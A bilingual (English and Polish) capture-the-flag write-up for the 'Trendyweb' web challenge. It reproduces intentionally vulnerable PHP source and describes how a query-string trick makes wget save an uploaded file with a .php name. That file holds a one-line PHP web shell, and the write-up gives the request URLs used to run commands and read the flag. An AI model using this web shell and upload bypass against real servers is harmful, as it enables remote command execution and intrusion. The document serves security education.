Skip to content

Latest commit

 

History

History

trendyweb

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 

Trendyweb (Web, 100p)

###ENG PL

We get the source for index.php running on server:

<?php
error_reporting(E_ALL);
ini_set('display_errors', 'On');
ini_set('allow_url_fopen', 'On'); // yo!

$session_path = '';

	class MyClass { function __wakeup() { system($_GET['cmd']); // come onn!
	} }

	function onShutdown() {
		global $session_path;
		file_put_contents($session_path. '/pickle', serialize($_SESSION));
	}

	session_start();
	register_shutdown_function('onShutdown');

	function set_context($id) {
		global $_SESSION, $session_path;

		$session_path=getcwd() . '/data/'.$id;
		if(!is_dir($session_path)) mkdir($session_path);
		chdir($session_path);

		if(!is_file('pickle')) $_SESSION = array();
		else $_SESSION = unserialize(file_get_contents('pickle'));
	}

	function download_image($url) {
		$url = parse_url($origUrl=$url);
		if(isset($url['scheme']) && $url['scheme'] == 'http')
			if($url['path'] == '/avatar.png') {
				system('/usr/bin/wget '.escapeshellarg($origUrl));
			}
	}

	if(!isset($_SESSION['id'])) {
		$sessId = bin2hex(openssl_random_pseudo_bytes(10));
		$_SESSION['id'] = $sessId;
	} else {
		$sessId = $_SESSION['id'];
	}
	session_write_close();
	set_context($sessId);
	if(isset($_POST['image'])) download_image($_POST['image']);
?>

<img src="/data/<?php echo $sessId; ?>/avatar.png" width=80 height=80 />

And information that we need a shell to run a flag reader in /.

Intially we focused on the obvious unserialize vulnerability, but we could not figure out how to put our payload inside pickle file. The only way seemed to be using the download_image function, but wget would not save the file under selected name. While considering if this can be overriden we found out that wget behaves interestingly when the URL has some GET parameters.

Specifically downloading from URL http://something.pwn/avatar.png?hacked.php will actually create a file with name avatar.png?hacked.php. At the same time the parse_url checks in download_image will pass since the GET parameters are not part of $url['path'].

Since the uploaded file had now .php extension the server was interpreting the script inside, so we simply put a PHP shell inside:

<? system($_GET['cmd']) ?>

And with that we could simply run

http://chal.cykor.kr:8082/data/70c1e5e960e833a1183b/avatar.png%3fhacked.php?cmd=ls /

to get the name of flag reading binary (flag_is_heeeeeeeereeeeeee) and then:

http://chal.cykor.kr:8082/data/70c1e5e960e833a1183b/avatar.png%3fhacked.php?cmd=/flag_is_heeeeeeeereeeeeee

to get the actual flag: 1-day is not trendy enough

###PL version

Dostajemy źródło pliku index.php działającego na serwerze:

<?php
error_reporting(E_ALL);
ini_set('display_errors', 'On');
ini_set('allow_url_fopen', 'On'); // yo!

$session_path = '';

	class MyClass { function __wakeup() { system($_GET['cmd']); // come onn!
	} }

	function onShutdown() {
		global $session_path;
		file_put_contents($session_path. '/pickle', serialize($_SESSION));
	}

	session_start();
	register_shutdown_function('onShutdown');

	function set_context($id) {
		global $_SESSION, $session_path;

		$session_path=getcwd() . '/data/'.$id;
		if(!is_dir($session_path)) mkdir($session_path);
		chdir($session_path);

		if(!is_file('pickle')) $_SESSION = array();
		else $_SESSION = unserialize(file_get_contents('pickle'));
	}

	function download_image($url) {
		$url = parse_url($origUrl=$url);
		if(isset($url['scheme']) && $url['scheme'] == 'http')
			if($url['path'] == '/avatar.png') {
				system('/usr/bin/wget '.escapeshellarg($origUrl));
			}
	}

	if(!isset($_SESSION['id'])) {
		$sessId = bin2hex(openssl_random_pseudo_bytes(10));
		$_SESSION['id'] = $sessId;
	} else {
		$sessId = $_SESSION['id'];
	}
	session_write_close();
	set_context($sessId);
	if(isset($_POST['image'])) download_image($_POST['image']);
?>

<img src="/data/<?php echo $sessId; ?>/avatar.png" width=80 height=80 />

Oraz informacje, że potrzebujemy shella aby uruchomic program do odczytania flagi znajdujący się w /.

Początkowo skupiliśmy się na ewidentnej podatności unserialize, ale nie mogliśmy dojść do tego, jak umieścić nasz payload w pliku pickle. Jedyna sensowna droga sugerowała użycie funkcji download_image, ale nie wiedzieliśmy jak zmusić wgeta do zapisania pliku pod inną nazwą. Podczas rozważania jak można zmienić nazwę wynikowego pliku zauważyliśmy, że wget ciekawe obsługuje URLe z parametrami GET.

Konkretnie pobieranie z URLa http://something.pwn/avatar.png?hacked.php utworzy plik o nazwie avatar.png?hacked.php. Jednocześnie wszystkie warunki wparse_url będą nadal spełnione bo parametry GET nie są częścią $url['path'].

Ponieważ tak uploadowany plik ma rozszerzenie .php serwer wykonuje skrypty w nim zawarte, więc umieściliśmy tam prosty PHP shell:

<? system($_GET['cmd']) ?>

I w ten sposób mogliśmy uruchomić:

http://chal.cykor.kr:8082/data/70c1e5e960e833a1183b/avatar.png%3fhacked.php?cmd=ls /

aby pobrać nazwę programu do odczytywania flagi (flag_is_heeeeeeeereeeeeee) a następnie:

http://chal.cykor.kr:8082/data/70c1e5e960e833a1183b/avatar.png%3fhacked.php?cmd=/flag_is_heeeeeeeereeeeeee

aby odczytać flagę: 1-day is not trendy enough